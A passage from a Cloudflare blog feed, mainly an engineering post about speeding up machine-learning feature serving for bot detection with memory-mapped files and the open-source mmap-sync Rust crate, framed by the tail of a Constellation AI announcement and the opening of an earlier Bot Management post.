    <p>We’ve long known about the importance of performance when it comes to web experiences — in e-commerce, every second of page load time can have as much as a 7% drop off effect on conversion. But being fast is not enough. It’s necessary, but not sufficient. You also have to be accurate.</p><p>That is, rather than serving one-size-fits-all experiences, users have come to expect that you know what they want before they do.</p><p>So you have to serve personalized experiences, and you have to do it fast. That’s where Constellation can come into play. With Constellation, as a part of your e-commerce application that may already be served from Cloudflare’s network through Workers or Pages, or even store data in <a href="https://developers.cloudflare.com/d1/">D1</a>, you can now perform tasks such as categorization (what demographic is this customer most likely in?) and personalization (if you bought this, you may also like that).</p>
    <div>
      <h3>Making devices smarter wherever they are</h3>
      <a href="#making-devices-smarter-wherever-they-are">
        
      </a>
    </div>
    <p>Another use case where performance is critical is in interacting with the real world. Imagine a face recognition system that detects whether you’re human or not every time you go into your house. Every second of latency makes a difference (especially if you’re holding heavy groceries).</p><p>Running inference on Cloudflare’s network, means that within 95% of the world’s population, compute, and thus a decision, is never going to be more than 50ms away. This is in huge contrast to centralized compute, where if you live in Europe, but bought a doorbell system from a US-based company, may be up to hundreds of milliseconds round trip away.</p><p>You may be thinking, why not just run the compute on the device then?</p><p>For starters, running inference on the device doesn’t guarantee fast performance. Most devices with built in intelligence are run on microcontrollers, often with limited computational abilities (not a high-end GPU or server-grade CPU). Milliseconds become seconds; depending on the volume of workloads you need to process, the local inference might not be suitable. The compute that can be fit on devices is simply not powerful enough for high-volume complex operations, certainly not for operating at low-latency.</p><p>But even user experience aside (some devices don’t interface with a user directly), there are other downsides to running compute directly on devices.</p><p>The first is battery life — the longer the compute, the shorter the battery life. There's always a power consumption hit, even if you have a custom <a href="https://en.wikipedia.org/wiki/Application-specific_integrated_circuit">ASIC chip</a> or a Tensor Processing Unit (<a href="https://en.wikipedia.org/wiki/Tensor_Processing_Unit">TPU</a>), meaning shorter battery life if that's one of your constraints. For consumer products, this means having to switch out your doorbell battery (lest you get locked out). For operating fleets of devices at scale (imagine watering devices in a field) this means costs of keeping up with, and swapping out batteries.</p><p>Lastly, device hardware, and even software, is harder to update. As new technologies or more efficient chips become available, upgrading fleets of hundreds or thousands of devices is challenging. And while software updates may be easier to manage, they’ll never be as easy as updating on-cloud software, where you can effortlessly ship updates multiple times a day!</p><p>Speaking of shipping software…</p>
    <div>
      <h3>AI applications, easier than ever with Constellation</h3>
      <a href="#ai-applications-easier-than-ever-with-constellation">
        
      </a>
    </div>
    <p>Speed Week is not just about making your applications or devices faster, but also your team!</p><p>For the past six years, our developer platform has been making it easy for developers to ship new code with Cloudflare Workers. With Constellation, it’s now just as easy to add Machine Learning to your existing application, with just a few commands.</p><p>And if you don’t believe us, don’t just take our word for it. We’re now in the process of opening up the beta to more and more customers. To request access, head on over to the Cloudflare Dashboard where you’ll see a new tab for Constellation. We encourage you to check out <a href="https://developers.cloudflare.com/constellation/get-started/first-constellation-worker/">our tutorial</a> for getting started with Constellation — this AI thing may be even easier than you expected it to be!</p>
    <div>
      <h3>We’re just getting started</h3>
      <a href="#were-just-getting-started">
        
      </a>
    </div>
    <p>This is just the beginning of our journey for helping developers build AI driven applications, and we’re already thinking about what’s next.</p><p>We look forward to seeing what you build, and hearing your feedback.</p> ]]></content:encoded>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">38XFu6bOuh2W9Z5jgDbZis</guid>
            <dc:creator>Rita Kozlov</dc:creator>
            <dc:creator>Celso Martinho</dc:creator>
        </item>
        <item>
            <title><![CDATA[Every request, every microsecond: scalable machine learning at Cloudflare]]></title>
            <link>https://blog.cloudflare.com/scalable-machine-learning-at-cloudflare/</link>
            <pubDate>Mon, 19 Jun 2023 13:00:51 GMT</pubDate>
            <description><![CDATA[ We'll describe the technical strategies that have enabled us to expand the number of machine learning features and models, all while substantially reducing the processing time for each HTTP request on our network ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7ezkO9JuKoLVAFi0ynmBfc/57b5f4032ff2789953cabb7f60c3a9ea/image7-3.png" />
            
            </figure><p>In this post, we will take you through the advancements we've made in our <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning</a> capabilities. We'll describe the technical strategies that have enabled us to expand the number of machine learning features and models, all while substantially reducing the processing time for each HTTP request on our network. Let's begin.</p>
    <div>
      <h2>Background</h2>
      <a href="#background">
        
      </a>
    </div>
    <p>For a comprehensive understanding of our evolved approach, it's important to grasp the context within which our machine learning detections operate. Cloudflare, on average, serves over <b>46 million HTTP requests per second</b>, surging to more than 63 million requests per second during peak times.</p><p>Machine learning detection plays a crucial role in ensuring the security and integrity of this vast network. In fact, it classifies the largest volume of requests among all our detection mechanisms, providing the final <a href="https://developers.cloudflare.com/bots/concepts/bot-score/">Bot Score</a> decision for <b>over 72%</b> of all HTTP requests. Going beyond, we run several machine learning models in shadow mode for every HTTP request.</p><p>At the heart of our machine learning infrastructure lies our reliable ally, <a href="https://catboost.ai/">CatBoost</a>. It enables ultra low-latency model inference and ensures high-quality predictions to detect novel threats such as <a href="/machine-learning-mobile-traffic-bots/">stopping bots targeting our customers' mobile apps</a>. However, it's worth noting that <b>machine learning model inference</b> is just one component of the overall latency equation. Other critical components include <b>machine learning feature extraction and preparation</b>. In our quest for optimal performance, we've continuously optimized each aspect contributing to the overall latency of our system.</p><p>Initially, our machine learning models relied on <b>single-request features</b>, such as presence or value of certain headers. However, given the ease of spoofing these attributes, we evolved our approach. We turned to <b>inter-request features</b> that leverage aggregated information across multiple dimensions of a request in a sliding time window. For example, we now consider factors like the number of unique user agents associated with certain request attributes.</p><p>The extraction and preparation of inter-request features were handled by <b>Gagarin</b>, a Go-based feature serving platform we developed. As a request arrived at Cloudflare, we extracted dimension keys from the request attributes. We then looked up the corresponding machine learning features in the <a href="https://github.com/thibaultcha/lua-resty-mlcache">multi-layered cache</a>. If the desired machine learning features were not found in the cache, a <b>memcached "get" request</b> was made to Gagarin to fetch those. Then machine learning features were plugged into CatBoost models to produce detections, which were then surfaced to the customers via Firewall and Workers fields and internally through our <a href="/http-analytics-for-6m-requests-per-second-using-clickhouse/">logging pipeline to ClickHouse</a>. This allowed our data scientists to run further experiments, producing more features and models.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1TDWrBIkxKHgZk1fjZnBJe/1340bc0dc964dd4b9022708463d91b24/image3-3.png" />
            
            </figure><p>Previous system design for serving machine learning features over Unix socket using Gagarin.</p><p>Initially, Gagarin exhibited decent latency, with a median latency around <b>200 microseconds</b> to serve all machine learning features for given keys. However, as our system evolved and we introduced more features and dimension keys, coupled with increased traffic, the cache hit ratio began to wane. The median latency had increased to <b>500 microseconds</b> and during peak times, the latency worsened significantly, with the p99 latency soaring to roughly <b>10 milliseconds</b>. Gagarin underwent extensive low-level tuning, optimization, profiling, and benchmarking. Despite these efforts, we encountered the limits of inter-process communication (IPC) using Unix Domain Socket (UDS), among other challenges, explored below.</p>
    <div>
      <h3>Problem definition</h3>
      <a href="#problem-definition">
        
      </a>
    </div>
    <p>In summary, the previous solution had its drawbacks, including:</p><ul><li><p><b>High tail latency</b>: during the peak time, a portion of requests experienced increased  latency caused by CPU contention on the Unix socket and Lua garbage collector.</p></li><li><p><b>Suboptimal resource utilization:</b> CPU and RAM utilization was not optimized to the full potential, leaving less resources for other services running on the server.</p></li><li><p><b>Machine learning features availability</b>: decreased due to memcached timeouts, which resulted in a higher likelihood of false positives or false negatives for a subset of the requests.</p></li><li><p><b>Scalability constraints</b>: as we added more machine learning features, we approached the scalability limit of our infrastructure.</p></li></ul><p>Equipped with a comprehensive understanding of the challenges and armed with quantifiable metrics, we ventured into the next phase: seeking a more efficient way to fetch and serve machine learning features.</p>
    <div>
      <h2>Exploring solutions</h2>
      <a href="#exploring-solutions">
        
      </a>
    </div>
    <p>In our quest for more efficient methods of fetching and serving machine learning features, we evaluated several alternatives. The key approaches included:</p><p><b>Further optimizing Gagarin</b>: as we pushed our Go-based memcached server to its limits, we encountered a lower bound on latency reductions. This arose from IPC over UDS synchronization overhead and multiple data copies, the serialization/deserialization overheads, as well as the inherent latency of garbage collector and the performance of hashmap lookups in Go.</p><p><b>Considering Quicksilver</b>: we contemplated using <a href="/tag/quicksilver/">Quicksilver</a>, but the volume and update frequency of machine learning features posed capacity concerns and potential negative impacts on other use cases. Moreover, it uses a Unix socket with the memcached protocol, reproducing the same limitations previously encountered.</p><p><b>Increasing multi-layered cache size:</b> we investigated expanding cache size to accommodate tens of millions of dimension keys. However, the associated memory consumption, due to duplication of these keys and their machine learning features across worker threads, rendered this approach untenable.</p><p><b>Sharding the Unix socket</b>: we considered sharding the Unix socket to alleviate contention and improve performance. Despite showing potential, this approach only partially solved the problem and introduced more system complexity.</p><p><b>Switching to RPC:</b> we explored the option of using RPC for communication between our front line server and Gagarin. However, since RPC still requires some form of communication bus (such as TCP, UDP, or UDS), it would not significantly change the performance compared to the memcached protocol over UDS, which was already simple and minimalistic.</p><p>After considering these approaches, we shifted our focus towards investigating alternative Inter-Process Communication (IPC) mechanisms.</p>
    <div>
      <h3>IPC mechanisms</h3>
      <a href="#ipc-mechanisms">
        
      </a>
    </div>
    <p>Adopting a <a href="https://en.wikipedia.org/wiki/First_principle">first principles</a> design approach, we questioned: "What is the most efficient low-level method for data transfer between two processes provided by the operating system?" Our goal was to find a solution that would enable the direct serving of machine learning features from memory for corresponding HTTP requests. By eliminating the need to traverse the Unix socket, we aimed to reduce CPU contention, improve latency, and minimize data copying.</p><p>To identify the most efficient IPC mechanism, we evaluated various options available within the Linux ecosystem. We used <a href="https://github.com/goldsborough/ipc-bench">ipc-bench</a>, an open-source benchmarking tool specifically designed for this purpose, to measure the latencies of different IPC methods in our test environment. The measurements were based on sending one million 1,024-byte messages forth and back (i.e., ping pong) between two processes.</p>
<table>
<thead>
  <tr>
    <th><span>IPC method</span></th>
    <th><span>Avg duration, μs</span></th>
    <th><span>Avg throughput, msg/s</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>eventfd (bi-directional)</span></td>
    <td><span>9.456</span></td>
    <td><span>105,533</span></td>
  </tr>
  <tr>
    <td><span>TCP sockets</span></td>
    <td><span>8.74</span></td>
    <td><span>114,143</span></td>
  </tr>
  <tr>
    <td><span>Unix domain sockets</span></td>
    <td><span>5.609</span></td>
    <td><span>177,573</span></td>
  </tr>
  <tr>
    <td><span>FIFOs (named pipes)</span></td>
    <td><span>5.432</span></td>
    <td><span>183,388</span></td>
  </tr>
  <tr>
    <td><span>Pipe</span></td>
    <td><span>4.733</span></td>
    <td><span>210,369</span></td>
  </tr>
  <tr>
    <td><span>Message Queue</span></td>
    <td><span>4.396</span></td>
    <td><span>226,421</span></td>
  </tr>
  <tr>
    <td><span>Unix Signals</span></td>
    <td><span>2.45</span></td>
    <td><span>404,844</span></td>
  </tr>
  <tr>
    <td><span>Shared Memory</span></td>
    <td><span>0.598</span></td>
    <td><span>1,616,014</span></td>
  </tr>
  <tr>
    <td><span>Memory-Mapped Files</span></td>
    <td><span>0.503</span></td>
    <td><span>1,908,613</span></td>
  </tr>
</tbody>
</table><p>Based on our evaluation, we found that Unix sockets, while taking care of synchronization, were not the fastest IPC method available. The two fastest IPC mechanisms were shared memory and memory-mapped files. Both approaches offered similar performance, with the former using a specific tmpfs volume in /dev/shm and dedicated system calls, while the latter could be stored in any volume, including tmpfs or HDD/SDD.</p>
    <div>
      <h3>Missing ingredients</h3>
      <a href="#missing-ingredients">
        
      </a>
    </div>
    <p>In light of these findings, we decided to employ <a href="https://en.wikipedia.org/wiki/Memory-mapped_file"><b>memory-mapped files</b></a> as the IPC mechanism for serving machine learning features. This choice promised reduced latency, decreased CPU contention, and minimal data copying. However, it did not inherently offer data synchronization capabilities like Unix sockets. Unlike Unix sockets, memory-mapped files are simply files in a Linux volume that can be mapped into memory of the process. This sparked several critical questions:</p><ol><li><p>How could we efficiently fetch an array of hundreds of float features for given dimension keys when dealing with a file?</p></li><li><p>How could we ensure safe, concurrent and frequent updates for tens of millions of keys?</p></li><li><p>How could we avert the CPU contention previously encountered with Unix sockets?</p></li><li><p>How could we effectively support the addition of more dimensions and features in the future?</p></li></ol><p>To address these challenges we needed to further evolve this new approach by adding a few key ingredients to the recipe.</p>
    <div>
      <h2>Augmenting the Idea</h2>
      <a href="#augmenting-the-idea">
        
      </a>
    </div>
    <p>To realize our vision of memory-mapped files as a method for serving machine learning features, we needed to employ several key strategies, touching upon aspects like data synchronization, data structure, and deserialization.</p>
    <div>
      <h3>Wait-free synchronization</h3>
      <a href="#wait-free-synchronization">
        
      </a>
    </div>
    <p>When dealing with concurrent data, ensuring safe, concurrent, and frequent updates is paramount. Traditional locks are often not the most efficient solution, especially when dealing with high concurrency environments. Here's a rundown on three different synchronization techniques:</p><p><b>With-lock synchronization</b>: a common approach using mechanisms like mutexes or spinlocks. It ensures only one thread can access the resource at a given time, but can suffer from contention, blocking, and priority inversion, just as evident with Unix sockets.</p><p><b>Lock-free synchronization</b>: this non-blocking approach employs atomic operations to ensure at least one thread always progresses. It eliminates traditional locks but requires careful handling of edge cases and race conditions.</p><p><b>Wait-free synchronization:</b> a more advanced technique that guarantees every thread makes progress and completes its operation without being blocked by other threads. It provides stronger progress guarantees compared to lock-free synchronization, ensuring that each thread completes its operation within a finite number of steps.</p>
<table>
<thead>
  <tr>
    <th></th>
    <th><span>Disjoint Access Parallelism</span></th>
    <th><span>Starvation Freedom</span></th>
    <th><span>Finite Execution Time</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>With lock</span></td>
    <td><img src="https://lh3.googleusercontent.com/mWo5ulSY0xrqrZamHxCTIpbHoK_IZXV3ApCFxhltGDZorv-jCY8cQm5O8aep8OIWqxxoHuO6EJLLMfUIBePSbyKEHPV9vF2FRvGWkK0VPxQrEuGONLQmmHmt0HLN4OyWQoXhKTZa2PILE7uv13on3IY" /></td>
    <td><img src="https://lh3.googleusercontent.com/mWo5ulSY0xrqrZamHxCTIpbHoK_IZXV3ApCFxhltGDZorv-jCY8cQm5O8aep8OIWqxxoHuO6EJLLMfUIBePSbyKEHPV9vF2FRvGWkK0VPxQrEuGONLQmmHmt0HLN4OyWQoXhKTZa2PILE7uv13on3IY" /></td>
    <td><img src="https://lh3.googleusercontent.com/mWo5ulSY0xrqrZamHxCTIpbHoK_IZXV3ApCFxhltGDZorv-jCY8cQm5O8aep8OIWqxxoHuO6EJLLMfUIBePSbyKEHPV9vF2FRvGWkK0VPxQrEuGONLQmmHmt0HLN4OyWQoXhKTZa2PILE7uv13on3IY" /></td>
  </tr>
  <tr>
    <td><span>Lock-free</span></td>
    <td><img src="https://lh5.googleusercontent.com/INhbT87NAysOwV9HTJAV8a1eIMOaGW7VXSsEfyEGoM2J1TvjhlBsuDoFzuHRF-9CJav33USYa69OlyrfgYovpbKNo_WCgJWq3LOJkZavZLu61QUb-Up4G3i166cVvOrBYB2wqIU065iBV3FWOpHm0pE" /></td>
    <td><img src="https://lh3.googleusercontent.com/mWo5ulSY0xrqrZamHxCTIpbHoK_IZXV3ApCFxhltGDZorv-jCY8cQm5O8aep8OIWqxxoHuO6EJLLMfUIBePSbyKEHPV9vF2FRvGWkK0VPxQrEuGONLQmmHmt0HLN4OyWQoXhKTZa2PILE7uv13on3IY" /></td>
    <td><img src="https://lh3.googleusercontent.com/mWo5ulSY0xrqrZamHxCTIpbHoK_IZXV3ApCFxhltGDZorv-jCY8cQm5O8aep8OIWqxxoHuO6EJLLMfUIBePSbyKEHPV9vF2FRvGWkK0VPxQrEuGONLQmmHmt0HLN4OyWQoXhKTZa2PILE7uv13on3IY" /></td>
  </tr>
  <tr>
    <td><span>Wait-free</span></td>
    <td><img src="https://lh5.googleusercontent.com/INhbT87NAysOwV9HTJAV8a1eIMOaGW7VXSsEfyEGoM2J1TvjhlBsuDoFzuHRF-9CJav33USYa69OlyrfgYovpbKNo_WCgJWq3LOJkZavZLu61QUb-Up4G3i166cVvOrBYB2wqIU065iBV3FWOpHm0pE" /></td>
    <td><img src="https://lh5.googleusercontent.com/INhbT87NAysOwV9HTJAV8a1eIMOaGW7VXSsEfyEGoM2J1TvjhlBsuDoFzuHRF-9CJav33USYa69OlyrfgYovpbKNo_WCgJWq3LOJkZavZLu61QUb-Up4G3i166cVvOrBYB2wqIU065iBV3FWOpHm0pE" /></td>
    <td><img src="https://lh5.googleusercontent.com/INhbT87NAysOwV9HTJAV8a1eIMOaGW7VXSsEfyEGoM2J1TvjhlBsuDoFzuHRF-9CJav33USYa69OlyrfgYovpbKNo_WCgJWq3LOJkZavZLu61QUb-Up4G3i166cVvOrBYB2wqIU065iBV3FWOpHm0pE" /></td>
  </tr>
</tbody>
</table><p>Our <a href="https://en.wikipedia.org/wiki/Non-blocking_algorithm#Wait-freedom">wait-free</a> data access pattern draws inspiration from <a href="https://www.kernel.org/doc/html/next/RCU/whatisRCU.html">Linux kernel's Read-Copy-Update (RCU) pattern</a> and the <a href="https://github.com/pramalhe/ConcurrencyFreaks/blob/master/papers/left-right-2014.pdf">Left-Right concurrency control technique</a>. In our solution, we maintain two copies of the data in separate memory-mapped files. Write access to this data is managed by a single writer, with multiple readers able to access the data concurrently.</p><p>We store the synchronization state, which coordinates access to these data copies, in a third memory-mapped file, referred to as "state". This file contains an atomic 64-bit integer, which represents an <code><b>InstanceVersion</b></code> and a pair of additional atomic 32-bit variables, tracking the number of active readers for each data copy. The <code><b>InstanceVersion</b></code> consists of the currently active data file index (1 bit), the data size (39 bits, accommodating data sizes up to 549 GB), and a data checksum (24 bits).</p>
    <div>
      <h3>Zero-copy deserialization</h3>
      <a href="#zero-copy-deserialization">
        
      </a>
    </div>
    <p>To efficiently store and fetch machine learning features, we needed to address the challenge of deserialization latency. Here, <a href="https://en.wikipedia.org/wiki/Zero-copy">zero-copy</a> deserialization provides an answer. This technique reduces the time and memory required to access and use data by directly referencing bytes in the serialized form.</p><p>We turned to <a href="https://rkyv.org/">rkyv</a>, a zero-copy deserialization framework in Rust, to help us with this task. rkyv implements total zero-copy deserialization, meaning no data is copied during deserialization and no work is done to deserialize data. It achieves this by structuring its encoded representation to match the in-memory representation of the source type.</p><p>One of the key features of rkyv that our solution relies on is its ability to access <code><b>HashMap</b></code> data structures in a zero-copy fashion. This is a unique capability among Rust serialization libraries and one of the main reasons we chose rkyv for our implementation. It also has a vibrant <a href="https://discord.gg/65F6MdnbQh">Discord community</a>, eager to offer best-practice advice and accommodate feature requests.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3m6VU5QBUW41ck2SEd9omL/31db11a33dcf7e8a32d2a563138dce09/Screenshot-2023-06-16-at-18.18.02.png" />
            
            </figure><p><a href="https://rkyv.org/feature-comparison.html">Feature comparison: rkyv vs FlatBuffers and Cap'n Proto</a></p>
    <div>
      <h2>Enter mmap-sync crate</h2>
      <a href="#enter-mmap-sync-crate">
        
      </a>
    </div>
    <p>Leveraging the benefits of <b>memory-mapped files</b>, <b>wait-free synchronization</b> and <b>zero-copy deserialization</b>, we've crafted a unique and powerful tool for managing high-performance, concurrent data access between processes. We've packaged these concepts into a Rust crate named <a href="https://github.com/cloudflare/mmap-sync"><code><b>mmap-sync</b></code></a>, which we're thrilled to open-source for the wider community.</p><p>At the core of the <code><b>mmap-sync</b></code> package is a structure named <code><b>Synchronizer</b></code>. It offers an avenue to read and write any data expressible as a Rust struct. Users simply have to implement or derive a specific Rust trait surrounding struct definition - a task requiring just a single line of code. The <code><b>Synchronizer</b></code> presents an elegantly simple interface, equipped with "write" and "read" methods.</p>
            <pre><code>impl Synchronizer {
    /// Write a given `entity` into the next available memory mapped file.
    pub fn write&lt;T&gt;(&amp;mut self, entity: &amp;T, grace_duration: Duration) -&gt; Result&lt;(usize, bool), SynchronizerError&gt; {
        …
    }

    /// Reads and returns `entity` struct from mapped memory wrapped in `ReadResult`
    pub fn read&lt;T&gt;(&amp;mut self) -&gt; Result&lt;ReadResult&lt;T&gt;, SynchronizerError&gt; {
        …
    }
}

/// FeaturesMetadata stores features along with their metadata
#[derive(Archive, Deserialize, Serialize, Debug, PartialEq)]
#[archive_attr(derive(CheckBytes))]
pub struct FeaturesMetadata {
    /// Features version
    pub version: u32,
    /// Features creation Unix timestamp
    pub created_at: u32,
    /// Features represented by vector of hash maps
    pub features: Vec&lt;HashMap&lt;u64, Vec&lt;f32&gt;&gt;&gt;,
}</code></pre>
            <p>A read operation through the <code><b>Synchronizer</b></code> performs zero-copy deserialization and returns a "guarded" <code><b>Result</b></code> encapsulating a reference to the Rust struct using <a href="https://rust-unofficial.github.io/patterns/patterns/behavioural/RAII.html">RAII design pattern</a>. This operation also increments the atomic counter of active readers using the struct. Once the <code><b>Result</b></code> is out of scope, the <code><b>Synchronizer</b></code> decrements the number of readers.</p><p>The synchronization mechanism used in <code><b>mmap-sync</b></code> is not only "lock-free" but also "wait-free". This ensures an upper bound on the number of steps an operation will take before it completes, thus providing a performance guarantee.</p><p>The data is stored in shared mapped memory, which allows the <code><b>Synchronizer</b></code> to “write” to it and “read” from it concurrently. This design makes <code><b>mmap-sync</b></code> a highly efficient and flexible tool for managing shared, concurrent data access.</p><p>Now, with an understanding of the underlying mechanics of <code><b>mmap-sync</b></code>, let's explore how this package plays a key role in the broader context of our Bot Management platform, particularly within the newly developed components: the <code><b>bliss</b></code> service and library.</p>
    <div>
      <h2>System design overhaul</h2>
      <a href="#system-design-overhaul">
        
      </a>
    </div>
    <p>Transitioning from a Lua-based module that made memcached requests over Unix socket to Gagarin in Go to fetch machine learning features, our new design represents a significant evolution. This change pivots around the introduction of <code><b>mmap-sync</b></code>, our newly developed Rust package, laying the groundwork for a substantial performance upgrade. This development led to a comprehensive system redesign and introduced two new components that form the backbone of our <i>Bots Liquidation Intelligent Security System</i> - or <b>BLISS</b>, in short: the bliss service and the bliss library.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Dnl0GqLtcqoPZ3ceZuxTG/efa55a49b326fe71821f2f6be9935b8a/after-bliss-diagram-v2.png" />
            
            </figure>
    <div>
      <h3>Bliss service</h3>
      <a href="#bliss-service">
        
      </a>
    </div>
    <p>The <b>bliss</b> <b>service</b> operates as a Rust-based, multi-threaded sidecar daemon. It has been designed for optimal batch processing of vast data quantities and extensive I/O operations. Among its key functions, it fetches, parses, and stores machine learning features and dimensions for effortless data access and manipulation. This has been made possible through the incorporation of the <a href="https://tokio.rs/">Tokio</a> event-driven platform, which allows for efficient, non-blocking I/O operations.</p>
    <div>
      <h3>Bliss library</h3>
      <a href="#bliss-library">
        
      </a>
    </div>
    <p>Operating as a single-threaded dynamic library, the <b>bliss library</b> seamlessly integrates into each worker thread using the Foreign Function Interface (FFI) via a Lua module. Optimized for minimal resource usage and ultra-low latency, this lightweight library performs tasks without the need for heavy I/O operations. It efficiently serves machine learning features and generates corresponding detections.</p><p>In addition to leveraging the <code><b>mmap-sync</b></code> package for efficient machine learning feature access, our new design includes several other performance enhancements:</p><ul><li><p><b>Allocations-free operation:</b> bliss library re-uses pre-allocated data structures and performs no heap allocations, only low-cost stack allocations. To enforce our zero-allocation policy, we run integration tests using the <a href="https://docs.rs/dhat/latest/dhat/">dhat heap profiler</a>.</p></li><li><p><b>SIMD optimizations</b>: wherever possible, the bliss library employs vectorized CPU instructions. For instance, AVX2 and SSE4 instruction sets are used to expedite <a href="https://crates.io/crates/faster-hex">hex-decoding</a> of certain request attributes, enhancing speed by tenfold.</p></li><li><p><b>Compiler tuning:</b> We compile both the bliss service and library with the following flags for superior performance:</p></li></ul>
            <pre><code>[profile.release]
codegen-units = 1
debug = true
lto = "fat"
opt-level = 3</code></pre>
            <ul><li><p><b>Benchmarking &amp; profiling:</b> We use <a href="https://bheisler.github.io/criterion.rs/book/index.html">Criterion</a> for benchmarking every major feature or component within bliss. Moreover, we are also able to use the Go pprof profiler on Criterion benchmarks to view flame graphs and more:</p></li></ul>
            <pre><code>cargo bench -p integration -- --verbose --profile-time 100

go tool pprof -http=: ./target/criterion/process_benchmark/process/profile/profile.pb</code></pre>
            <p>This comprehensive overhaul of our system has not only streamlined our operations but also has been instrumental in enhancing the overall performance of our Bot Management platform. Stay tuned to witness the remarkable changes brought about by this new architecture in the next section.</p>
    <div>
      <h2>Rollout results</h2>
      <a href="#rollout-results">
        
      </a>
    </div>
    <p>Our system redesign has brought some truly "blissful" dividends. Above all, our commitment to a seamless user experience and the trust of our customers have guided our innovations. We ensured that the transition to the new design was seamless, maintaining full backward compatibility, with no customer-reported false positives or negatives encountered. This is a testament to the robustness of the new system.</p><p>As the old adage goes, the proof of the pudding is in the eating. This couldn't be truer when examining the dramatic latency improvements achieved by the redesign. Our overall processing latency for HTTP requests at Cloudflare improved by an average of <b>12.5%</b> compared to the previous system.</p><p>This improvement is even more significant in the Bot Management module, where latency improved by an average of <b>55.93%</b>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5CEtjyqdZ3W1566LlcJCmY/8df07e319288090092413f3217b46464/image6.png" />
            
            </figure><p>Bot Management module latency, in microseconds.</p><p>More specifically, our machine learning features fetch latency has improved by several orders of magnitude:</p>
<table>
<thead>
  <tr>
    <th><span>Latency metric</span></th>
    <th><span>Before (μs)</span></th>
    <th><span>After (μs)</span></th>
    <th><span>Change</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>p50</span></td>
    <td><span>532</span></td>
    <td><span>9</span></td>
    <td><span>-98.30%</span><span> or </span><span>x59</span></td>
  </tr>
  <tr>
    <td><span>p99</span></td>
    <td><span>9510</span></td>
    <td><span>18</span></td>
    <td><span>-99.81%</span><span> or </span><span>x528</span></td>
  </tr>
  <tr>
    <td><span>p999</span></td>
    <td><span>16000</span></td>
    <td><span>29</span></td>
    <td><span>-99.82%</span><span> or </span><span>x551</span></td>
  </tr>
</tbody>
</table><p>To truly grasp this impact, consider this: with Cloudflare’s average rate of 46 million requests per second, a saving of <b>523 microseconds</b> per request equates to saving over 24,000 days or <b>65 years</b> of processing time every single day!</p><p>In addition to latency improvements, we also reaped other benefits from the rollout:</p><ul><li><p><b>Enhanced feature availability</b>: thanks to eliminating Unix socket timeouts, machine learning feature availability is now a robust 100%, resulting in fewer false positives and negatives in detections.</p></li><li><p><b>Improved resource utilization</b>: our system overhaul liberated resources equivalent to thousands of CPU cores and hundreds of gigabytes of RAM - a substantial enhancement of our server fleet's efficiency.</p></li><li><p><b>Code cleanup:</b> another positive spin-off has been in our Lua and Go code. Thousands of lines of less performant and less memory-safe code have been weeded out, reducing technical debt.</p></li><li><p><b>Upscaled machine learning capabilities:</b> last but certainly not least, we've significantly expanded our machine learning features, dimensions, and models. This upgrade empowers our machine learning inference to handle hundreds of machine learning features and dozens of dimensions and models.</p></li></ul>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>In the wake of our redesign, we've constructed a powerful and efficient system that truly embodies the essence of 'bliss'. Harnessing the advantages of memory-mapped files, wait-free synchronization, allocation-free operations, and zero-copy deserialization, we've established a robust infrastructure that maintains peak performance while achieving remarkable reductions in latency. As we navigate towards the future, we're committed to leveraging this platform to further improve our Security machine learning products and cultivate innovative features. Additionally, we're excited to share parts of this technology through an open-sourced Rust package <a href="https://github.com/cloudflare/mmap-sync"><code><b>mmap-sync</b></code></a>.</p><p>As we leap into the future, we are building upon our platform's impressive capabilities, exploring new avenues to amplify the power of machine learning. We are deploying a new machine learning model built on BLISS with select customers. If you are a Bot Management subscriber and want to test the new model, please reach out to your account team.</p><p>Separately, we are on the lookout for more Cloudflare customers who want to run their own machine learning models at the edge today. If you’re a developer considering making the switch to Workers for your application, sign up for our <a href="/introducing-constellation/">Constellation AI closed beta</a>. If you’re a Bot Management customer and looking to run an already trained, lightweight model at the edge, <a href="https://www.cloudflare.com/lp/byo-machine-learning-model/">we would love to hear from you</a>. Let's embark on this path to bliss together.</p> ]]></content:encoded>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[Performance]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[Deep Dive]]></category>
            <category><![CDATA[Rust]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">5okRPYMr2V3a9DYVL5fLJw</guid>
            <dc:creator>Alex Bocharov</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare Bot Management: machine learning and more]]></title>
            <link>https://blog.cloudflare.com/cloudflare-bot-management-machine-learning-and-more/</link>
            <pubDate>Wed, 06 May 2020 11:00:00 GMT</pubDate>
            <description><![CDATA[ This is the ongoing story of Bot Management at Cloudflare and also an introduction to a series of blog posts about the detection mechanisms powering it ]]></description>
            <content:encoded><![CDATA[ <p></p>
    <div>
      <h3>Introduction</h3>
      <a href="#introduction">
        
      </a>
    </div>
    <p>Building <a href="https://www.cloudflare.com/application-services/products/bot-management/">Cloudflare Bot Management platform</a> is an exhilarating experience. It blends Distributed Systems, Web Development, Machine Learning, Security and Research (and every discipline in between) while fighting ever-adaptive and motivated adversaries at the same time.</p><p>This is the ongoing story of Bot Management at Cloudflare and also an introduction to a series of blog posts about the detection mechanisms powering it. I’ll start with several definitions from the Bot Management world, then introduce the product and technical requirements, leading to an overview of the platform we’ve built. Finally, I’ll share details about the detection mechanisms powering our platform.</p><p>Let’s start with Bot Management’s nomenclature.</p>
    <div>
      <h3>Some Definitions</h3>
      <a href="#some-definitions">
        
      </a>
    </div>
